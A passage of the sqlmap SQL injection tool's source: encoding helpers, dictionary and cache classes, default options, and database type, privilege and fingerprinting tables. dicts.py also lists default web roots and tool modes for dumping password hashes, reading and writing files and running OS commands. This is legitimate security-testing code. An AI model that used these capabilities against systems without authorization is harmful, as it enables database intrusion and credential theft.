https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://perldoc.perl.org/MIME/Base64.html if isinstance(retVal, bytes): retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') else: retVal = retVal.replace('+', '-').replace('/', '_') if not padding: retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') return retVal def getBytes(value, encoding=None, errors="strict", unsafe=True): """ Returns byte representation of provided Unicode value >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" True """ retVal = value if encoding is None: encoding = conf.get("encoding") or UNICODE_ENCODING try: codecs.lookup(encoding) except (LookupError, TypeError): encoding = UNICODE_ENCODING if isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: for char in xrange(0xF0000, 0xF00FF + 1): value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) retVal = value.encode(encoding, errors) if unsafe: retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal) else: try: retVal = value.encode(encoding, errors) except UnicodeError: retVal = value.encode(UNICODE_ENCODING, errors="replace") if unsafe: retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) return retVal def getOrds(value): """ Returns ORD(...) representation of provided string value >>> getOrds(u'fo\\xf6bar') [102, 111, 246, 98, 97, 114] >>> getOrds(b"fo\\xc3\\xb6bar") [102, 111, 195, 182, 98, 97, 114] """ return [_ if isinstance(_, int) else ord(_) for _ in value] def getUnicode(value, encoding=None, noneToNull=False): """ Returns the unicode representation of the supplied value >>> getUnicode('test') == u'test' True >>> getUnicode(1) == u'1' True >>> getUnicode(None) == 'None' True """ # Best position for --time-limit mechanism if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): raise SystemExit if noneToNull and value is None: return NULL if isinstance(value, six.text_type): return value elif isinstance(value, six.binary_type): # Heuristics (if encoding not explicitly specified) candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in (b'<', b'>')): pass elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value: candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) elif conf.get("encoding") and b'\n' not in value: candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) for candidate in candidates: try: return six.text_type(value, candidate) except (UnicodeDecodeError, LookupError): pass try: return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError: return six.text_type(value, UNICODE_ENCODING, errors="reversible") elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value else: try: return six.text_type(value) except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances def getText(value, encoding=None): """ Returns textual value of a given value (Note: not necessary Unicode on Python2) >>> getText(b"foobar") 'foobar' >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) True """ retVal = value if isinstance(value, six.binary_type): retVal = getUnicode(value, encoding) if six.PY2: try: retVal = str(retVal) except: pass return retVal def stdoutEncode(value): """ Returns binary representation of a given Unicode value safe for writing to stdout """ value = value or "" if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: output = shellExec("chcp") match = re.search(r": (\d{3,})", output or "") if match: try: candidate = "cp%s" % match.group(1) codecs.lookup(candidate) except LookupError: pass else: kb.codePage = candidate kb.codePage = kb.codePage or "" if isinstance(value, six.text_type): encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING while True: try: retVal = value.encode(encoding) break except UnicodeEncodeError as ex: value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:] warnMsg = "cannot properly display (some) Unicode characters " warnMsg += "inside your terminal ('%s') environment. All " % encoding warnMsg += "unhandled occurrences will result in " warnMsg += "replacement with '?' character. Please, find " warnMsg += "proper character representation inside " warnMsg += "corresponding output files" singleTimeWarnMessage(warnMsg) if six.PY3: retVal = getUnicode(retVal, encoding) else: retVal = value return retVal def getConsoleLength(value): """ Returns console width of unicode values >>> getConsoleLength("abc") 3 >>> getConsoleLength(u"\\u957f\\u6c5f") 4 """ if isinstance(value, six.text_type): retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value) else: retVal = len(value) return retVal sqlmap-1.9.6/lib/core/data.py000066400000000000000000000013271502261744200160130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict from lib.core.log import LOGGER # sqlmap paths paths = AttribDict() # object to store original command line options cmdLineOptions = AttribDict() # object to store merged options (command line, configuration file and default options) mergedOptions = AttribDict() # object to share within function and classes command # line options and settings conf = AttribDict() # object to share within function and classes results kb = AttribDict() # object with each database management system specific queries queries = {} # logger logger = LOGGER sqlmap-1.9.6/lib/core/datatype.py000066400000000000000000000147651502261744200167270ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import copy import threading import types from thirdparty.odict import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): """ This class defines the dictionary with added capability to access members as attributes >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 """ def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} # Set any attributes here - before initialisation # these remain as normal attributes self.attribute = attribute self.keycheck = keycheck dict.__init__(self, indict) self.__initialised = True # After initialisation, setting attributes # is the same as setting an item def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ try: return self.__getitem__(item) except KeyError: if self.keycheck: raise AttributeError("unable to access item '%s'" % item) else: return None def __delattr__(self, item): """ Deletes attributes """ try: return self.pop(item) except KeyError: if self.keycheck: raise AttributeError("unable to access item '%s'" % item) else: return None def __setattr__(self, item, value): """ Maps attributes to values Only if we are initialised """ # This test allows attributes to be set in the __init__ method if "_AttribDict__initialised" not in self.__dict__: return dict.__setattr__(self, item, value) # Any normal attributes are handled normally elif item in self.__dict__: dict.__setattr__(self, item, value) else: self.__setitem__(item, value) def __getstate__(self): return self.__dict__ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): retVal = self.__class__() memo[id(self)] = retVal for attr in dir(self): if not attr.startswith('_'): value = getattr(self, attr) if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) return retVal class InjectionDict(AttribDict): def __init__(self): AttribDict.__init__(self) self.place = None self.parameter = None self.ptype = None self.prefix = None self.suffix = None self.clause = None self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 # data is a dict with various stype, each which is a dict with # all the information specific for that stype self.data = AttribDict() # conf is a dict which stores current snapshot of important # options used during detection self.conf = AttribDict() self.dbms = None self.dbms_version = None self.os = None # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python class LRUDict(object): """ This class defines the LRU dictionary >>> foo = LRUDict(capacity=2) >>> foo["first"] = 1 >>> foo["second"] = 2 >>> foo["third"] = 3 >>> "first" in foo False >>> "third" in foo True """ def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() self.__lock = threading.Lock() def __len__(self): return len(self.cache) def __contains__(self, key): return key in self.cache def __getitem__(self, key): value = self.cache.pop(key) self.cache[key] = value return value def get(self, key): return self.__getitem__(key) def __setitem__(self, key, value): with self.__lock: try: self.cache.pop(key) except KeyError: if len(self.cache) >= self.capacity: self.cache.popitem(last=False) self.cache[key] = value def set(self, key, value): self.__setitem__(key, value) def keys(self): return self.cache.keys() # Reference: https://code.activestate.com/recipes/576694/ class OrderedSet(_collections.MutableSet): """ This class defines the set with ordered (as added) items >>> foo = OrderedSet() >>> foo.add(1) >>> foo.add(2) >>> foo.add(3) >>> foo.pop() 3 >>> foo.pop() 2 >>> foo.pop() 1 """ def __init__(self, iterable=None): self.end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable def __len__(self): return len(self.map) def __contains__(self, key): return key in self.map def add(self, value): if value not in self.map: end = self.end curr = end[1] curr[2] = end[1] = self.map[value] = [value, curr, end] def discard(self, value): if value in self.map: value, prev, next = self.map.pop(value) prev[2] = next next[1] = prev def __iter__(self): end = self.end curr = end[2] while curr is not end: yield curr[0] curr = curr[2] def __reversed__(self): end = self.end curr = end[1] while curr is not end: yield curr[0] curr = curr[1] def pop(self, last=True): if not self: raise KeyError('set is empty') key = self.end[1][0] if last else self.end[2][0] self.discard(key) return key def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self)) def __eq__(self, other): if isinstance(other, OrderedSet): return len(self) == len(other) and list(self) == list(other) return set(self) == set(other) sqlmap-1.9.6/lib/core/decorators.py000066400000000000000000000051111502261744200172420ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import hashlib import threading from lib.core.datatype import LRUDict from lib.core.settings import MAX_CACHE_ITEMS from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData _cache = {} _cache_lock = threading.Lock() _method_locks = {} def cachedmethod(f): """ Method with a cached content >>> __ = cachedmethod(lambda _: _) >>> __(1) 1 >>> __(1) 1 >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) >>> __(2) 2 >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) >>> __(foobar=3) 3 Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) @functools.wraps(f) def _f(*args, **kwargs): try: key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) else: try: with _cache_lock: result = _cache[f][key] except KeyError: result = f(*args, **kwargs) with _cache_lock: _cache[f][key] = result return result return _f def stackedmethod(f): """ Method using pushValue/popValue functions (fallback function for stack realignment) >>> threadData = getCurrentThreadData() >>> original = len(threadData.valueStack) >>> __ = stackedmethod(lambda _: threadData.valueStack.append(_)) >>> __(1) >>> len(threadData.valueStack) == original True """ @functools.wraps(f) def _(*args, **kwargs): threadData = getCurrentThreadData() originalLevel = len(threadData.valueStack) try: result = f(*args, **kwargs) finally: if len(threadData.valueStack) > originalLevel: threadData.valueStack = threadData.valueStack[:originalLevel] return result return _ def lockedmethod(f): @functools.wraps(f) def _(*args, **kwargs): if f not in _method_locks: _method_locks[f] = threading.RLock() with _method_locks[f]: result = f(*args, **kwargs) return result return _ sqlmap-1.9.6/lib/core/defaults.py000066400000000000000000000010561502261744200167100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { "csvDel": ',', "timeSec": 5, "googlePage": 1, "verbose": 1, "delay": 0, "timeout": 30, "retries": 3, "csrfRetries": 0, "safeFreq": 0, "threads": 1, "level": 1, "risk": 1, "dumpFormat": "CSV", "tablePrefix": "sqlmap", "technique": "BEUSTQ", "torType": "SOCKS5", } defaults = AttribDict(_defaults) sqlmap-1.9.6/lib/core/dicts.py000066400000000000000000000423571502261744200162200ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK from lib.core.settings import CACHE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import EXTREMEDB_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MCKOI_ALIASES from lib.core.settings import MIMERSQL_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PRESTO_ALIASES from lib.core.settings import RAIMA_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import CLICKHOUSE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", 14: "CHAR", 40: "CSTRING", 11: "D_FLOAT", 27: "DOUBLE", 10: "FLOAT", 16: "INT64", 8: "INTEGER", 9: "QUAD", 7: "SMALLINT", 12: "DATE", 13: "TIME", 35: "TIMESTAMP", 37: "VARCHAR", } INFORMIX_TYPES = { 0: "CHAR", 1: "SMALLINT", 2: "INTEGER", 3: "FLOAT", 4: "SMALLFLOAT", 5: "DECIMAL", 6: "SERIAL", 7: "DATE", 8: "MONEY", 9: "NULL", 10: "DATETIME", 11: "BYTE", 12: "TEXT", 13: "VARCHAR", 14: "INTERVAL", 15: "NCHAR", 16: "NVARCHAR", 17: "INT8", 18: "SERIAL8", 19: "SET", 20: "MULTISET", 21: "LIST", 22: "ROW (unnamed)", 23: "COLLECTION", 40: "Variable-length opaque type", 41: "Fixed-length opaque type", 43: "LVARCHAR", 45: "BOOLEAN", 52: "BIGINT", 53: "BIGSERIAL", 2061: "IDSSECURITYLABEL", 4118: "ROW (named)", } SYBASE_TYPES = { 14: "floatn", 8: "float", 15: "datetimn", 12: "datetime", 23: "real", 28: "numericn", 10: "numeric", 27: "decimaln", 26: "decimal", 17: "moneyn", 11: "money", 21: "smallmoney", 22: "smalldatetime", 13: "intn", 7: "int", 6: "smallint", 5: "tinyint", 16: "bit", 2: "varchar", 18: "sysname", 25: "nvarchar", 1: "char", 24: "nchar", 4: "varbinary", 80: "timestamp", 3: "binary", 19: "text", 20: "image", } ALTIBASE_TYPES = { 1: "CHAR", 12: "VARCHAR", -8: "NCHAR", -9: "NVARCHAR", 2: "NUMERIC", 6: "FLOAT", 8: "DOUBLE", 7: "REAL", -5: "BIGINT", 4: "INTEGER", 5: "SMALLINT", 9: "DATE", 30: "BLOB", 40: "CLOB", 20001: "BYTE", 20002: "NIBBLE", -7: "BIT", -100: "VARBIT", 10003: "GEOMETRY", } MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", 3: "update_priv", 4: "delete_priv", 5: "create_priv", 6: "drop_priv", 7: "reload_priv", 8: "shutdown_priv", 9: "process_priv", 10: "file_priv", 11: "grant_priv", 12: "references_priv", 13: "index_priv", 14: "alter_priv", 15: "show_db_priv", 16: "super_priv", 17: "create_tmp_table_priv", 18: "lock_tables_priv", 19: "execute_priv", 20: "repl_slave_priv", 21: "repl_client_priv", 22: "create_view_priv", 23: "show_view_priv", 24: "create_routine_priv", 25: "alter_routine_priv", 26: "create_user_priv", } PGSQL_PRIVS = { 1: "createdb", 2: "super", 3: "catupd", } # Reference(s): http://stackoverflow.com/a/17672504 # http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", "R": "REFERENCE", "X": "EXECUTE", "A": "ALL", "M": "MEMBER", "T": "DECRYPT", "E": "ENCRYPT", "B": "SUBSCRIBE", } # Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm # https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm INFORMIX_PRIVS = { "D": "DBA (all privileges)", "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", "C": "CONNECT (work with existing tables)", "G": "ROLE", "U": "DEFAULT (implicit connection)", } DB2_PRIVS = { 1: "CONTROLAUTH", 2: "ALTERAUTH", 3: "DELETEAUTH", 4: "INDEXAUTH", 5: "INSERTAUTH", 6: "REFAUTH", 7: "SELECTAUTH", 8: "UPDATEAUTH", } DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" } HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "IIF(1=1,DIFFERENCE(NULL,NULL),0)", DBMS.MYSQL: "QUARTER(NULL XOR NULL)", DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", DBMS.DERBY: "NULLIF(USER,SESSION_USER)", DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite DBMS.CUBRID: "(NULL SETEQ NULL)", DBMS.CACHE: "%SQLUPPER NULL", DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", } SQL_STATEMENTS = { "SQL SELECT statement": ( "select ", "show ", " top ", " distinct ", " from ", " from dual", " where ", " group by ", " order by ", " having ", " limit ", " offset ", " union all ", " rownum as ", "(case ", ), "SQL data definition": ( "create ", "declare ", "drop ", "truncate ", "alter ", ), "SQL data manipulation": ( "bulk ", "insert ", "update ", "delete ", "merge ", "load ", ), "SQL data control": ( "grant ", "revoke ", ), "SQL data execution": ( "exec ", "execute ", "values ", "call ", ), "SQL transaction": ( "start transaction ", "begin work ", "begin transaction ", "commit ", "rollback ", ), "SQL administration": ( "set ", ), } POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } OBSOLETE_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", "--ignore-401": "use '--ignore-code' instead", "--second-order": "use '--second-url' instead", "--purge-output": "use '--purge' instead", "--sqlmap-shell": "use '--shell' instead", "--check-payload": None, "--check-waf": None, "--pickled-options": "use '--api -c ...' instead", "--identify-waf": "functionality being done automatically", } DEPRECATED_OPTIONS = { } DUMP_DATA_PREPROCESS = { DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } PART_RUN_CONTENT_TYPES = { "checkDbms": CONTENT_TYPE.TECHNIQUES, "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, "getBanner": CONTENT_TYPE.BANNER, "getCurrentUser": CONTENT_TYPE.CURRENT_USER, "getCurrentDb": CONTENT_TYPE.CURRENT_DB, "getHostname": CONTENT_TYPE.HOSTNAME, "isDba": CONTENT_TYPE.IS_DBA, "getUsers": CONTENT_TYPE.USERS, "getPasswordHashes": CONTENT_TYPE.PASSWORDS, "getPrivileges": CONTENT_TYPE.PRIVILEGES, "getRoles": CONTENT_TYPE.ROLES, "getDbs": CONTENT_TYPE.DBS, "getTables": CONTENT_TYPE.TABLES, "getColumns": CONTENT_TYPE.COLUMNS, "getSchema": CONTENT_TYPE.SCHEMA, "getCount": CONTENT_TYPE.COUNT, "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, "writeFile": CONTENT_TYPE.FILE_WRITE, "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html HTML_ENTITIES = { "quot": 34, "amp": 38, "apos": 39, "lt": 60, "gt": 62, "nbsp": 160, "iexcl": 161, "cent": 162, "pound": 163, "curren": 164, "yen": 165, "brvbar": 166, "sect": 167, "uml": 168, "copy": 169, "ordf": 170, "laquo": 171, "not": 172, "shy": 173, "reg": 174, "macr": 175, "deg": 176, "plusmn": 177, "sup2": 178, "sup3": 179, "acute": 180, "micro": 181, "para": 182, "middot": 183, "cedil": 184, "sup1": 185, "ordm": 186, "raquo": 187, "frac14": 188, "frac12": 189, "frac34": 190, "iquest": 191, "Agrave": 192, "Aacute": 193, "Acirc": 194, "Atilde": 195, "Auml": 196, "Aring": 197, "AElig": 198, "Ccedil": 199, "Egrave": 200, "Eacute": 201, "Ecirc": 202, "Euml": 203, "Igrave": 204, "Iacute": 205, "Icirc": 206, "Iuml": 207, "ETH": 208, "Ntilde": 209, "Ograve": 210, "Oacute": 211, "Ocirc": 212, "Otilde": 213, "Ouml": 214, "times": 215, "Oslash": 216, "Ugrave": 217, "Uacute": 218, "Ucirc": 219, "Uuml": 220, "Yacute": 221, "THORN": 222, "szlig": 223, "agrave": 224, "aacute": 225, "acirc": 226, "atilde": 227, "auml": 228, "aring": 229, "aelig": 230, "ccedil": 231, "egrave": 232, "eacute": 233, "ecirc": 234, "euml": 235, "igrave": 236, "iacute": 237, "icirc": 238, "iuml": 239, "eth": 240, "ntilde": 241, "ograve": 242, "oacute": 243, "ocirc": 244, "otilde": 245, "ouml": 246, "divide": 247, "oslash": 248, "ugrave": 249, "uacute": 250, "ucirc": 251, "uuml": 252, "yacute": 253, "thorn": 254, "yuml": 255, "OElig": 338, "oelig": 339, "Scaron": 352, "fnof": 402, "scaron": 353, "Yuml": 376, "circ": 710, "tilde": 732, "Alpha": 913, "Beta": 914, "Gamma": 915, "Delta": 916, "Epsilon": 917, "Zeta": 918, "Eta": 919, "Theta": 920, "Iota": 921, "Kappa": 922, "Lambda": 923, "Mu": 924, "Nu": 925, "Xi": 926, "Omicron": 927, "Pi": 928, "Rho": 929, "Sigma": 931, "Tau": 932, "Upsilon": 933, "Phi": 934, "Chi": 935, "Psi": 936, "Omega": 937, "alpha": 945, "beta": 946, "gamma": 947, "delta": 948, "epsilon": 949, "zeta": 950, "eta": 951, "theta": 952, "iota": 953, "kappa": 954, "lambda": 955, "mu": 956, "nu": 957, "xi": 958, "omicron": 959, "pi": 960, "rho": 961, "sigmaf": 962, "sigma": 963, "tau": 964, "upsilon": 965, "phi": 966, "chi": 967, "psi": 968, "omega": 969, "thetasym": 977, "upsih": 978, "piv": 982, "bull": 8226, "hellip": 8230, "prime": 8242, "Prime": 8243, "oline": 8254, "frasl": 8260, "ensp": 8194, "emsp": 8195, "thinsp": 8201, "zwnj": 8204, "zwj": 8205, "lrm": 8206, "rlm": 8207, "ndash": 8211, "mdash": 8212, "lsquo": 8216, "rsquo": 8217, "sbquo": 8218, "ldquo": 8220, "rdquo": 8221, "bdquo": 8222, "dagger": 8224, "Dagger": 8225, "permil": 8240, "lsaquo": 8249, "rsaquo": 8250, "euro": 8364, "weierp": 8472, "image": 8465, "real": 8476, "trade": 8482, "alefsym": 8501, "larr": 8592, "uarr": 8593, "rarr": 8594, "darr": 8595, "harr": 8596, "crarr": 8629, "lArr": 8656, "uArr": 8657, "rArr": 8658, "dArr": 8659, "hArr": 8660, "forall": 8704, "part": 8706, "exist": 8707, "empty": 8709, "nabla": 8711, "isin": 8712, "notin": 8713, "ni": 8715, "prod": 8719, "sum": 8721, "minus": 8722, "lowast": 8727, "radic": 8730, "prop": 8733, "infin": 8734, "ang": 8736, "and": 8743, "or": 8744, "cap": 8745, "cup": 8746, "int": 8747, "there4": 8756, "sim": 8764, "cong": 8773, "asymp": 8776, "ne": 8800, "equiv": 8801, "le": 8804, "ge": 8805, "sub": 8834, "sup": 8835, "nsub": 8836, "sube": 8838, "supe": 8839, "oplus": 8853, "otimes": 8855, "perp": 8869, "sdot": 8901, "lceil": 8968, "rceil": 8969, "lfloor": 8970, "rfloor": 8971, "lang": 9001, "rang": 9002, "loz": 9674, "spades": 9824, "clubs": 9827, "hearts": 9829, "diams": 9830 } 